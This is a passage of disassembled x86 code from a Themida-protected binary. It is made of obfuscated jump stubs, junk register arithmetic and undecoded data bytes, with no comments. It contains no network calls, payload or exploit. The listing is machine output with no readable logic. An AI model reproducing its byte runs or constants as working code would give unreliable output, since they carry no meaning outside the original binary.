		db 5Ah,	33h, 1Ch
		dd 241C3124h, 8B241C33h, 0CD32424h, 0EE99C24h, 29FFFEE3h
		dd 1C8B5FF8h, 110BE924h, 30AC0000h, 0E95166D8h,	0FFFFC7DEh
		dd 4BB53h, 15E90000h, 89FFFF2Ch, 405E0h, 0BB530000h, 4
		dd 875BD829h, 895C2404h, 0BB22414h, 0D02897B0h,	0FFF293E9h
		dd 4C581FFh, 68000000h,	0EDAh, 0E9241489h, 0FFFEF71Ch
		dd 0E92434FFh, 0FFFEF23Dh, 0FFFFC781h, 74E9FFFFh, 81FFFF06h
		dd 0B33CB0EDh, 24348B55h, 4C481h, 0F5290000h, 0FFC394E9h
		dd 0E9F731FFh, 2B6Ah
; ---------------------------------------------------------------------------


loc_51D35C:				; CODE XREF: Themida_:00513131j
		push	ecx
		mov	ecx, 6BDA7A99h
		add	[esp+8], ecx
		jmp	loc_511C57
; ---------------------------------------------------------------------------


loc_51D36B:				; CODE XREF: Themida_:0051DA24j
		xor	esi, 41CB62Ch
		sub	ebx, esi
		jmp	loc_51A787
; ---------------------------------------------------------------------------
		dd 503685Bh, 34890000h,	37C86824h, 0E4E90000h, 89FFFF1Ch
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 0FEF1FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D3A1:				; CODE XREF: Themida_:005154B7j
		or	edx, 0D2E4BABh
		jmp	loc_510E0A
; ---------------------------------------------------------------------------


loc_51D3AC:				; CODE XREF: Themida_:00518469j
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	edi
		jmp	loc_50BFD5
; ---------------------------------------------------------------------------


loc_51D3B9:				; CODE XREF: Themida_:00517A2Cj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5202ED
; ---------------------------------------------------------------------------
		db 0BEh
		dd 472A23CFh, 8244481h,	3EE6333Eh, 8246C81h, 242331DBh
		dd 0FFDCD8E9h, 5EF701FFh, 0A990E952h, 487FFFFh,	0E7E95824h
		dd 81000006h, 87ECDE6h,	0B5CE815Dh, 8164EF44h, 83DA59C6h
		dd 0E9F729C8h, 0FFFF56DAh
; ---------------------------------------------------------------------------


loc_51D40C:				; CODE XREF: Themida_:00520E8Bj
		push	edi
		jmp	loc_515D8B
; ---------------------------------------------------------------------------
		dw 0F331h
		dd 0FFBD36E9h, 58B353FFh, 1EDEE9h, 5CBA6600h, 6C81665Dh
		dd 37FC0424h, 24540166h, 3B88E904h, 0EE810000h,	3402241Dh
		dd 0C681C601h, 3402241Dh, 0FEE91DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D449:				; CODE XREF: Themida_:005106D4j
		push	edi
		mov	edi, 4
		add	esi, 701E1A6Fh
		add	esi, edi
		sub	esi, 701E1A6Fh
		jmp	loc_51C17A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 6439173Dh, 1F77E95Eh, 8B660000h, 0AD682414h,	89000069h
		dd 0E6892434h, 3B9E9h, 2849B200h, 69685AD0h, 8900001Fh
		dd 71E9241Ch, 2CFFFF73h, 455DE9C4h, 0C700FFFFh,	80DBC780h
		dd 805806C7h, 0E9509BF7h, 0FFFEFD7Ch
; ---------------------------------------------------------------------------


loc_51D4AC:				; CODE XREF: Themida_:005142D9j
		add	ebx, 4
		jmp	loc_516FAE
; ---------------------------------------------------------------------------


loc_51D4B7:				; CODE XREF: Themida_:0051F233j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	dl, ch
		xor	ch, dl
		xor	dl, ch
		jmp	loc_51A443
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF83D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D4D1:				; CODE XREF: Themida_:00514C21j
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5150F0
; ---------------------------------------------------------------------------


loc_51D4DC:				; CODE XREF: Themida_:00520A0Ej
		mov	dh, 0E0h
		add	bl, dh
		pop	dx
		add	bl, 70h
		sub	bl, 85h
		sub	bl, 7Ah
		jmp	loc_516077
; ---------------------------------------------------------------------------


loc_51D4F0:				; CODE XREF: Themida_:00516CFAj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_50CF69
; ---------------------------------------------------------------------------
		db 83h,	0C2h, 1
		dd 1CEAE281h, 0F281780Ch, 151D5B55h, 148BD189h,	61756824h
		dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 2474FF51h, 48F5904h
		dd 5298E924h, 535AFFFFh, 0FF7C1BE9h, 4C481FFh, 66000000h
		dd 0C2B151h, 8752E9C8h,	8F66FFFFh, 0E097E902h, 0ED81FFFEh
		dd 5FB32BEh, 2F59C681h,	0BD55159Dh, 408B18CAh, 0CD81454Dh
		dd 4EED488Bh, 0E1E9DDF7h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D56F:				; CODE XREF: Themida_:0051CA9Fj
		pop	ebp
		or	edx, 4D4E7C24h
		and	edx, 1B5D7493h
		shl	edx, 3
		add	edx, 0C34F8119h
		sub	esi, edx
		pop	edx
		sub	ebx, esi
		pop	esi
		xor	edx, ebx
		pop	ebx
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_51878D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0E9E08950h, 0FFFFBC81h, 243C895Ch, 3DE9E789h
		dd 80FFFFFDh, 0C30034C3h, 2EC81h, 89660000h, 0B5512414h
		dd 59EA8834h, 28B7C380h, 0B7EB80D3h, 24148B66h,	2C481h
		dd 0B6520000h, 11EE8059h, 0FF8846E9h, 0D830ACFFh, 0EA62E953h
		dd 0C130FFFEh, 8BC80058h, 8951240Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 0B2525C24h, 0E9722C7Bh, 0FFFFAFDBh, 5259C821h
		dd 0F3CFE956h, 0C381FFFEh, 1A971544h, 0FF8590E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D621:				; CODE XREF: Themida_:0051CCDBj
		pop	esi
		and	ebp, edx
		pop	edx
		sub	ebp, 0F8A5F352h
		jmp	loc_51E2F7
; ---------------------------------------------------------------------------
		dd 2E4BBD55h, 0EDC1296Fh, 0BA524504h, 4B41015Bh, 0E95AD521h
		dd 1450h
; ---------------------------------------------------------------------------


loc_51D648:				; CODE XREF: Themida_:00519A81j
		xor	ecx, 0DF65967Fh
		mov	ebp, ecx
		pop	ecx
		inc	ebp
		sub	ebp, 21B10603h
		xor	ebp, 63906AEFh
		sub	eax, ebp
		pop	ebp
		sub	eax, ebx
		add	eax, 4345277Fh
		add	eax, 78EB2FAFh
		jmp	loc_50B922
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 34FF2434h, 0B30DE924h, 0B850FFFFh, 1DD727F9h, 48BC201h
		dd 4C48124h, 68000000h,	0
		dd 0FFB825E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D699:				; CODE XREF: Themida_:0051E434j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, 66A644F0h
		xor	edi, 363B3337h
		jmp	loc_516E1D
; ---------------------------------------------------------------------------
		db 68h
		dd 3D11h, 89240C89h, 4C181E1h, 81000000h, 4E9h,	240C8700h
		dd 27BCE95Ch, 0F1810000h, 9AE45E93h, 0DBE9CF29h, 5DFFFFBAh
		dd 4C581h, 0B8500000h, 320C0974h, 2859BE56h, 0D14E6321h
		dd 0FCF681E6h, 29B37C58h, 0BCE95EF0h, 5500002Ch, 0FF0EA2E9h
		dd 4AE958FFh, 0ACFFFF7Fh, 4EC81h, 14890000h, 0E64FE924h
		dd 0C89FFFFh, 3FA2E924h, 5457FFFFh, 0E9243C8Bh,	0FFFFAAB9h
		dd 8A50E956h, 0F381FFFFh, 0C9F0CF7h, 4D65C181h,	84E976EBh
		dd 52FFFFEBh, 0C281E289h, 4, 4C281h, 14870000h,	6BB9E924h
		dd 0C521FFFFh, 0E257E958h, 815FFFFEh, 0B204246Ch, 0E9648679h
		dd 0FFFF2EA3h, 0E9242C89h, 0FFFF7DD8h, 0E9C2E980h, 0FFFEFBB7h
; ---------------------------------------------------------------------------


loc_51D78C:				; CODE XREF: Themida_:0050F940j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5187D4
; ---------------------------------------------------------------------------


loc_51D797:				; CODE XREF: Themida_:00513272j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	3BF0h
		mov	[esp], eax
		mov	eax, 11FE23FEh
		jmp	loc_51EFF6
; ---------------------------------------------------------------------------


loc_51D7C3:				; CODE XREF: Themida_:005157DDj
		add	edx, 240339A7h
		jmp	loc_5124CA
; ---------------------------------------------------------------------------


loc_51D7CE:				; CODE XREF: Themida_:0051AC4Aj
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6D84E5Dh
		shl	ecx, 6
		jmp	loc_51896A
; ---------------------------------------------------------------------------


loc_51D7E5:				; CODE XREF: Themida_:005116E8j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_50CBBE
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4BF57h, 0FB290000h, 96D8E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D806:				; CODE XREF: Themida_:00515867j
		mov	[esp], eax
		mov	eax, 28h
		push	eax
		sub	dword ptr [esp], 5C24662Bh
		pop	edx
		add	edx, 5C24662Bh
		mov	eax, [esp]
		jmp	loc_5207B3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 7B46E95Ch, 0BA52FFFFh, 4, 2D32E952h,	0BD550000h, 0AF374E9h
		dd 7D166853h, 3C890000h, 0C690E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D84E:				; CODE XREF: Themida_:00513609j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 70F77AFBh
		add	ebp, 11503AB9h
		add	ebp, 0D08EA902h
		add	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 22CA52EDh
		xor	esi, ebp
		jmp	loc_50DF52
; ---------------------------------------------------------------------------
		db 0BAh, 0DDh, 75h
		dd 6FE94CD0h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D87F:				; CODE XREF: Themida_:0050D84Bj
		mov	ebx, 179A3EC0h
		jmp	loc_51B4A7
; ---------------------------------------------------------------------------


loc_51D889:				; CODE XREF: Themida_:005201BEj
		pop	ebp
		add	edi, 4
		jmp	loc_51473E
; ---------------------------------------------------------------------------
		dw 895Eh
		dd 0DE095AD3h, 33A8E95Bh, 0EC81FFFFh, 4, 0FF240489h, 58042474h
		dd 5C24048Fh, 24048F54h, 0E7AAE956h, 28FFFFEh, 0FEDD24E9h
		dd 24048BFFh, 4C481h, 34FF0000h, 6E95E24h, 33000008h, 1C31241Ch
		dd 241C3324h, 6824248Bh, 30D8h,	53242C89h, 0FF338FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D8ED:				; CODE XREF: Themida_:0051679Aj
		mov	dl, 2Eh
		shr	dl, 1
		dec	dl
		jmp	loc_51EC9A
; ---------------------------------------------------------------------------


loc_51D8F8:				; CODE XREF: Themida_:0050EF0Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_515F3B
; ---------------------------------------------------------------------------


loc_51D904:				; CODE XREF: Themida_:0051AD35j
		xchg	ecx, edi
		xor	edi, 357C1424h
		add	edi, 35124AAFh
		push	edx
		mov	edx, 1CD20341h
		add	edx, 5FA60393h
		dec	edx
		inc	edx
		xor	edx, 2B405F69h
		sub	esi, edx
		pop	edx
		add	esi, 29343F63h
		add	esi, edi
		push	edi
		mov	edi, 3DD32B3Fh
		add	edi, 26EC38DEh
		shl	edi, 4
		shr	edi, 4
		xor	edi, 47F5711h
		push	ebp
		mov	ebp, 4324689Fh
		add	ebp, 0E6CFA3D0h
		xor	edi, ebp
		pop	ebp
		jmp	loc_5129C1
; ---------------------------------------------------------------------------
		db 25h,	4Ch, 10h
		dd 83560967h, 3C8904ECh, 62FEBF24h, 9EE96DDBh, 8BFFFFCAh
		dd 0C4812404h, 4, 884AF180h, 240C8BCEh,	0FF1FAEE9h, 0C8B66FFh
		dd 30F56824h, 0F2E90000h, 5BFFFF75h, 0FFA53FE9h, 4DE95CFFh
		dd 66FFFFC3h, 0D83166ADh, 2EC81h, 89660000h, 0E955240Ch
		dd 0FFFF8206h, 2504E8C1h, 7782EB2h, 87233205h, 58C60106h
		dd 0FF406BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D9CD:				; CODE XREF: Themida_:00516FA9j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		push	4092h
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_51BACF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 53241C8Bh, 12E9E389h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51D9F7:				; CODE XREF: Themida_:0050B92Aj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 694E759Bh
		shr	esi, 5
		shr	esi, 5
		shl	esi, 5
		shl	esi, 8
		sub	esi, 0FFFFFFFFh
		jmp	loc_51D36B
; ---------------------------------------------------------------------------


loc_51DA29:				; CODE XREF: Themida_:0051C611j
		sub	ecx, 7AEC7A48h
		dec	ecx
		xor	ecx, 715104F5h
		shr	ecx, 8
		jmp	loc_51A2F9
; ---------------------------------------------------------------------------
		dw 87B8h
		dd 81A534C0h, 194F7DEEh, 81C62919h, 194F7DC6h, 24048B19h
		dd 104C483h, 0B8505EF7h, 0D0D7DF4Ch, 34FFC731h,	24048B24h
		dd 0FF872DE9h, 242C89FFh, 460D42BDh, 8BEF212Dh,	0C481242Ch
		dd 4, 1F83E781h, 0C781687Ch, 0DEF3F99Bh, 5AE9F801h, 58FFFFDAh
		dd 0F7E38159h, 4B1F461Eh, 0C0EEB81h, 0B9511F04h, 711F727Eh
		dd 7049C981h, 0BB5328BBh, 434876ABh, 15BD931h, 0EC8159CAh
		dd 4, 0B8240489h, 176D1640h, 5003E8C1h,	2474FF50h, 48F5804h
		dd 4149E924h, 0FF05FFFFh, 35FFFFFFh, 0AAD671F1h, 64E9C201h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DAEB:				; CODE XREF: Themida_:0051C218j
		add	esp, 4
		add	esp, 4
		add	esi, 69C9248Ch
		sub	esi, 36F039FCh
		sub	esi, 5DA6185Fh
		add	esi, edi
		add	esi, 5DA6185Fh
		push	1F1Eh
		jmp	loc_511EB1
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 50242C8Bh,	405E089h, 5000000h, 4, 5C240487h
		dd 8B24048Fh, 0E1E92424h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51DB3F:				; CODE XREF: Themida_:0050C6DFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_514E4D
; ---------------------------------------------------------------------------
		dd 0CAB45066h, 5866E730h, 6803E7C0h, 22A2h, 0B1240C89h
		dd 6F04E925h, 9CBFFFFFh, 0E9149225h, 0FFFEF19Bh, 42474FFh
		dd 24048F5Ah, 243C895Ch, 4322B850h, 0BE052937h,	0E91FDB67h
		dd 0FFFFD85Dh, 4EC835Ch, 81240489h, 65E8242Ch, 34FF6743h
		dd 54565824h, 0A306E95Eh, 0C381FFFFh, 0C40C563Dh, 0E95BD901h
		dd 0FFFFBECEh
; ---------------------------------------------------------------------------


loc_51DBB8:				; CODE XREF: Themida_:00519508j
		add	ecx, edx
		jmp	loc_51037C
; ---------------------------------------------------------------------------


loc_51DBBF:				; CODE XREF: Themida_:0051AE70j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------


loc_51DBC4:				; CODE XREF: Themida_:00520F9Dj
		mov	esp, [esp]
		mov	[esp], esi
		push	3C0C20F7h
		jmp	loc_51C307
; ---------------------------------------------------------------------------
		dd 4055854h, 83000000h,	0D1E904C0h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DBE3:				; CODE XREF: Themida_:005140C2j
		sub	edi, eax
		pop	eax
		jmp	loc_51DDA2
; ---------------------------------------------------------------------------


loc_51DBEB:				; CODE XREF: Themida_:0050D72Ej
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_51935A
; ---------------------------------------------------------------------------


loc_51DBF7:				; CODE XREF: Themida_:0050F2BBj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_514EFE
		push	edx
		jmp	loc_50D88E
; ---------------------------------------------------------------------------


loc_51DC0F:				; CODE XREF: Themida_:005166B2j
		or	dl, 0FCh
		sub	dl, 0E2h
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_51A78D
; ---------------------------------------------------------------------------


loc_51DC28:				; CODE XREF: Themida_:0051612Aj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_51FA3D
; ---------------------------------------------------------------------------
		db 0Fh,	0AFh, 0C8h
		dd 0FF2E47E9h, 0D3C381FFh, 8145B201h, 3D167CC3h, 29EB8179h
		dd 0E9172330h, 0CE7h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 0B6241489h, 0E38953AAh, 4C381h, 0EB810000h, 2, 5C241C87h
		dd 24148966h, 52536BB2h, 0D388C3B2h, 5BD8285Ah,	0CEE9D028h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DC8F:				; CODE XREF: Themida_:0051134Aj
		mov	[esp], esi
		jmp	loc_50F48B
; ---------------------------------------------------------------------------
		db 52h
		dd 9A65E95Bh, 0F66FFFFh, 686602B6h, 89667B4Fh, 36E92404h
		dd 1FFFED9h, 0BBA52D8h,	297EFB49h, 50555AD0h, 56F4E953h
		dd 34FFFFFFh, 240C8B24h, 0FF1996E9h, 24348BFFh,	4C481h
		dd 88E90000h, 29FFFFC9h, 4ACAE9EAh, 3C89FFFFh, 4A5AE924h
		dd 0EF81FFFFh, 12401383h, 0FF2FEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DCF5:				; CODE XREF: Themida_:0051A9C2j
		mov	eax, 6FA81109h
		xor	[esp+4], eax
		jmp	loc_51DF17
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48304C4h, 0DCB3E904h, 8F66FFFFh, 31662404h, 0CE3166F1h
		dd 0FFE747E9h, 0D8C3E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51DD22:				; CODE XREF: Themida_:0050B7DAj
		mov	ebx, 9BA5CA46h
		add	ecx, 25F8760Fh
		jmp	loc_513A16
; ---------------------------------------------------------------------------
		dw 0B6BBh
		dd 0E9331853h, 132Ch
; ---------------------------------------------------------------------------


loc_51DD3C:				; CODE XREF: Themida_:0051F005j
		mov	ebx, 82009BFBh
		xor	eax, ebx
		pop	ebx
		add	edi, 33A8551Fh
		add	edi, eax
		jmp	loc_51A9DC
; ---------------------------------------------------------------------------


loc_51DD51:				; CODE XREF: Themida_:00514819j
		sub	dword ptr [esp+8], 7B4024ECh
		jmp	loc_51F675
; ---------------------------------------------------------------------------


loc_51DD5E:				; CODE XREF: Themida_:0051BBA5j
		xor	esi, ebp
		jmp	loc_514869
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1Ah
		dd 813E897Fh, 8D6F7BEFh, 0A864E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DD76:				; CODE XREF: Themida_:0050EEBEj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_50EB19
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 7FE90000h, 81FFFF3Eh, 4EEh, 24348700h, 6E84E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DDA2:				; CODE XREF: Themida_:0051DBE6j
		add	ebp, edi
		pop	edi
		push	esi
		push	ebp
		mov	ebp, 4DBF0FACh
		jmp	loc_51D0EB
; ---------------------------------------------------------------------------


loc_51DDB1:				; CODE XREF: Themida_:0051280Fj
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4CB11D7Fh
		add	ebx, 4DC37BE4h
		add	ebx, edi
		sub	ebx, 4DC37BE4h
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 1
		push	ebx
		not	dword ptr [esp]
		jmp	loc_514607
; ---------------------------------------------------------------------------
		dw 6CB2h
		dd 8008E2C0h, 0D388B8F2h, 0E924148Bh, 0FFFFBFF7h, 95EE815Ah
		dd 0BB1A1349h, 2945B07h, 0BF57h, 0E9550000h, 0FFFF48BEh
		dd 0EC81E589h, 4, 0BE243489h, 4, 4714B850h, 0C5810B88h
		dd 213D6411h, 0ED81C501h, 213D6411h, 53F50158h,	0C570F1BBh
		dd 23C38161h, 29A9C2D6h, 0E8BE9DDh, 0A368FFFFh,	8900001Ah
		dd 92E9243Ch, 89FFFF0Dh, 0F28BE9E2h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51DE5E:				; CODE XREF: Themida_:00517640j
		add	edx, 0FDDB4315h
		sub	ecx, edx
		pop	edx
		jmp	loc_515F6C
; ---------------------------------------------------------------------------
		dd 0FED774E9h, 11F781FFh, 8900B208h, 0BBB85FF9h, 31E5DAF0h
		dd 0F80159C8h, 1C47215Fh, 0FF2434FFh, 56582434h, 0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 0FF307AE9h,	5FF829FFh
		dd 1F48C381h, 0C3296E20h, 1F48EB81h, 44E96E20h,	0F7FFFEF2h
		dd 3BF681D6h, 8178143Dh, 0F51A8EEAh, 81F2017Fh,	0F51A8EC2h
		dd 14335E7Fh, 24143124h, 0FF200DE9h, 4EC81FFh, 89000000h
		dd 89B22414h, 8001C280h, 0C280C1EAh, 7E28034h, 6605E2C0h
		dd 5B5EE953h, 74FFFFFFh, 8F5F0424h, 248B2404h, 65E80524h
		dd 0CEE96743h
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51DF17:				; CODE XREF: Themida_:0051DCFEj
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7FC8h
		mov	[esp], ecx
		push	199Bh
		mov	[esp], ebp
		push	ebx
		mov	ebx, 5E6C57E5h
		jmp	loc_51F87C
; ---------------------------------------------------------------------------


loc_51DF3D:				; CODE XREF: Themida_:005168AEj
		add	esp, 4
		jmp	loc_51C54E
; ---------------------------------------------------------------------------


loc_51DF45:				; CODE XREF: Themida_:00516E2Ej
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5205D4
; ---------------------------------------------------------------------------


loc_51DF55:				; CODE XREF: Themida_:0050B707j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	ebp
		jmp	loc_51CEDA
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 80E90000h, 58FFFF11h,	30C2EB80h
		dd 0E9505BD8h, 0FFFF63D2h, 28C2F380h, 0DA60E9D8h, 3F68FFFFh
		dd 89000019h, 0FFE92414h, 68FFFFB2h, 4CA97059h,	5E2434FFh
		dd 0FF468EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DFA9:				; CODE XREF: Themida_:0051777Fj
		pop	esp
		push	239Eh
		mov	[esp], edi
		jmp	loc_51983A
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 0E6895624h, 4C681h, 0C6830000h, 1366804h
		dd 34890000h, 2474FF24h, 0A264E904h, 0EC83FFFFh, 24048904h
		dd 0BD55E089h, 658773D7h, 16A6E9h, 0EAB95100h, 0BA4CCF79h
		dd 4CCF79EEh, 8159CA31h, 543C88EFh, 81D70127h, 543C88C7h
		dd 0D6E95A27h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51E00F:				; CODE XREF: Themida_:0051F877j
		mov	eax, ebp
		pop	ebp
		dec	eax
		or	eax, 6DAF2666h
		shl	eax, 1
		sub	eax, 1
		xor	eax, 0DB7E6FDAh
		mov	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_51C670
; ---------------------------------------------------------------------------


loc_51E030:				; CODE XREF: Themida_:0051B4E8j
		mov	edi, 4
		add	ebp, 67460418h
		sub	ebp, 2B8A4737h
		add	ebp, 7A90784Dh
		jmp	loc_50D23D
; ---------------------------------------------------------------------------
		dd 10D7685Ah, 34890000h, 0ADBF5724h, 4766CE5Fh,	53C1E781h
		dd 514F4E7Ah, 0C164CB9h, 0BCE98110h, 29B0E9B4h,	2CE959CFh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E077:				; CODE XREF: Themida_:0051A86Bj
		mov	edx, 51274388h
		xor	edx, 37601346h
		add	edx, 0FFFFFFFFh
		and	edx, 3577203Ch
		shl	edx, 7
		shr	edx, 1
		add	edx, 19393E3Ch
		mov	eax, edx
		pop	edx
		jmp	loc_518276
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0D7h
		dd 638BC781h, 535A4C92h, 0A15E9h, 0CCBF5700h, 4F2C665Ah
		dd 5E68CF81h, 0BA5266B2h, 0F0A20533h, 0FFE644E9h, 96E95EFFh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E0CF:				; CODE XREF: Themida_:00513DDAj
		xor	eax, [edx]
		pop	edx
		pop	ebx
		pop	ecx
		jmp	loc_51491F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 840FC90Bh, 0FFFEF502h, 440368h, 91E9E900h, 0E95CFFFFh
		dd 0FFFF7ECEh, 535AD520h, 0B450BAB7h, 0F3C480D1h, 0FF7D3FE9h
		dd 0E9F000FFh, 0FFFEFDFAh, 2C41C281h, 0BD557CA2h, 127FAE23h
		dd 1278E9h
		db 0
; ---------------------------------------------------------------------------


loc_51E11D:				; CODE XREF: Themida_:00518D46j
		sub	ecx, 36BB2B78h
		sub	ecx, ebx
		add	ecx, 36BB2B78h
		pop	ebx
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50D896
; ---------------------------------------------------------------------------
		db 87h
		dd 87D1F7CEh, 0BFF681CEh, 68F37978h, 380Ah, 0BD242C89h
		dd 1AF427FFh, 0E5C1DDF7h, 28996804h, 0F7E90000h, 68FFFF2Fh
		dd 2D5Ah, 0FF1230E9h, 4C481FFh,	0E9000000h, 0FFFFDC8Ah
; ---------------------------------------------------------------------------


loc_51E178:				; CODE XREF: Themida_:005166A1j
		pop	esp


loc_51E179:				; CODE XREF: Themida_:0051762Ej
		push	6A53h
		jmp	loc_51E221
; ---------------------------------------------------------------------------
		db 81h
		dd 25496BC2h, 36BE566Eh, 291C7460h, 9171E9F2h, 85BBFFFFh
		dd 0E92ACE2Fh, 0FFFFA3D7h
; ---------------------------------------------------------------------------


loc_51E1A0:				; CODE XREF: Themida_:0052052Ej
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_50B9AA
; ---------------------------------------------------------------------------


loc_51E1B1:				; CODE XREF: Themida_:00519A76j
		push	ebx
		mov	ebx, 4E352551h
		xor	ebx, 60784E79h
		shl	ebx, 3
		xor	ebx, 726B5944h
		add	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_51AC5D
; ---------------------------------------------------------------------------
		db 80h
		dd 0C7FE37F7h, 0C0EDB050h, 550407E8h, 8006EF80h, 0ABE9DBEFh
		dd 8BFFFFF2h, 0CBE92424h, 57000002h, 0E16FE3BFh, 26E78128h
		dd 0E949B942h, 0FFFFCBF0h, 0FED3D8E9h, 24048FFFh, 4EC815Ch
		dd 89000000h, 5F54243Ch, 0FF32D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E221:				; CODE XREF: Themida_:0051E17Ej
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	41D4h
		mov	[esp], esi
		push	6F57h
		push	esp
		pop	dword ptr [esp]
		push	6191h
		mov	[esp], edx
		mov	edx, 68F96480h
		jmp	loc_51C127
; ---------------------------------------------------------------------------


loc_51E24B:				; CODE XREF: Themida_:0051557Dj
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_515DB6
; ---------------------------------------------------------------------------
		dd 83240C8Ah, 19E904C4h, 80FFFFF5h, 0E6C044E6h,	8DAFE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E276:				; CODE XREF: Themida_:005103CFj
		push	edi
		jmp	loc_51AD29
; ---------------------------------------------------------------------------
		dd 924B83B8h, 585B507Eh, 24048153h, 2BD5D7Dh, 7DED815Dh
		dd 0E902BD5Dh, 0FFFF2540h, 3FD0BB53h, 5053718Ch, 0D0F7585Bh
		dd 0F8E94B93h, 81FFFF32h, 6514BBF3h, 7E3C171h, 6808EBC1h
		dd 2459h, 0FF3B21E9h, 30C281FFh, 949F464h, 24148BD5h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 0C403B7BBh, 0CB814347h
		dd 35E74430h, 1E46C381h, 83E98797h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E2F7:				; CODE XREF: Themida_:0051D62Bj
		push	edi
		mov	edi, 6CF97A0Dh
		sub	eax, edi
		pop	edi
		sub	eax, ebp
